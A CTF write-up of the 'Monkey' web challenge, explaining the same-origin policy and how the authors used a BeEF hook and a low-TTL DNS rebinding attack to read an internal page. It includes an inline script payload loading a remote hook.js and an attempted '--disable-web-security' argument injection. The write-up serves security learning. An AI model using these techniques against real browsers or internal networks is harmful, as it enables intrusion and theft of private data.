I found the Web task “Monkey” particularly interesting: I solved it with the help from my friend @danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it.
Task: Monkey (Web – 4pts)
you can test this problem on your local machine
The running application receives a Proof-of-Work string and an arbitrary URL, instructing a “monkey” to browse the inputted URL for 2 minutes.
Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.
@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it:
The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction.
If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin.
For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like “Access-Control-Allow-Origin: *”, we would be able to retrieve its data with no effort. This, of course, was not the case.
Bypassing the Same-Origin
The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey’s browser using BeEF, so we could fingerprint his device, platform, plugins and components.
There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script:
Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input –disable-web-security $URL to disable Chrome’s SOP didn’t work so we had to find new ways to retrieve the secrets.
We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn’t help us to bypass the SOP. We tried to input URL’s like <html><script/**/src=’http://www.example.com:8000/hook.js’></script></html> and file:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers.
After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack. devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords.
DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses.
We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user’s browser when using the service.
In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could’t use the DNS services from Namecheap because the minimum TTL time is 60 seconds.
After deciding to set up the DNS server on our own, we came with the following attack scenario:
1) User visits the beef hook page at http://ctf.example.com:8080 (IP 188.8.131.52).
3) We perform a DNS Rebind to change the A Record from 184.108.40.206 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked.
4) Perform a CORS request using BeeF’s “Test CORS Request” module.
Here’s a small diagram of the attack:
After a couple of tries we finally managed to get the flag: